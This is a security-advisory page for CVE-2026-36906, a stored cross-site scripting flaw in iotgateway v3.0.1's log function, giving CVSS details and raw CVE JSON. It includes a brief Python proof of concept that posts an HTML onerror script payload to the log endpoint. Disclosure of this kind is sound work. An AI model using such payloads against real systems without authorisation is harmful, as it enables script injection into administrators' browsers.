Security Vulnerability Report
中文
CVE-2026-36906 CVSS 6.1 MEDIUM

CVE-2026-36906

Published: 2026-05-11 17:16:32
Last Modified: 2026-05-11 20:25:42

Description

Cross Site Scripting vulnerability in iotgateway v.3.0.1 allows a remote attacker to execute arbitrary code via the Log Record Function

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

iotgateway v3.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-36906 # Target: iotgateway v3.0.1 Log Record Function target = "http://192.168.1.100:8080" payload = "<img src=x onerror=alert('XSS')>" # Sending payload to the log endpoint headers = {"Content-Type": "application/json"} data = {"log": payload} try: r = requests.post(f"{target}/api/log", json=data, headers=headers) if r.status_code == 200: print("[+] Payload injected successfully. Check the admin log page.") else: print(f"[-] Request failed with status code: {r.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36906", "sourceIdentifier": "[email protected]", "published": "2026-05-11T17:16:32.313", "lastModified": "2026-05-11T20:25:41.697", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in iotgateway v.3.0.1 allows a remote attacker to execute arbitrary code via the Log Record Function"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "http://iotgateway.com", "source": "[email protected]"}, {"url": "http://iotgateway.net/", "source": "[email protected]"}, {"url": "https://github.com/iioter/iotgateway/issues/59", "source": "[email protected]"}, {"url": "https://github.com/iioter/iotgateway/issues/59", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}